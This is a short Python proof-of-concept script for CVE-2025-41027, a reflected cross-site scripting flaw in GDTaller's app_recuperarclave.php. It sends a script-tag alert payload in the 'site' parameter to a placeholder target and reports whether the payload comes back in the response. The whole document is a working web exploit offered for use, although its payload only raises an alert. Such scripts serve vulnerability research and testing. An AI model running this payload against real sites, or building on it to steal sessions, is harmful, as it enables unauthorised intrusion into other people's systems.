# Proof of Concept for CVE-2025-41027 # Target: GDTaller app_recuperarclave.php # Parameter: site import requests target_url = "http://target-domain.com/app_recuperarclave.php" # Malicious payload to execute JavaScript payload = "<script>alert('CVE-2025-41027 XSS');</script>" params = { "site": payload } try: response = requests.get(target_url, params=params) # Check if the payload is reflected in the response (basic check) if payload in response.text: print("Vulnerability confirmed! Payload reflected in response.") else: print("Payload not reflected or input filtered.") except Exception as e: print(f"Error: {e}")
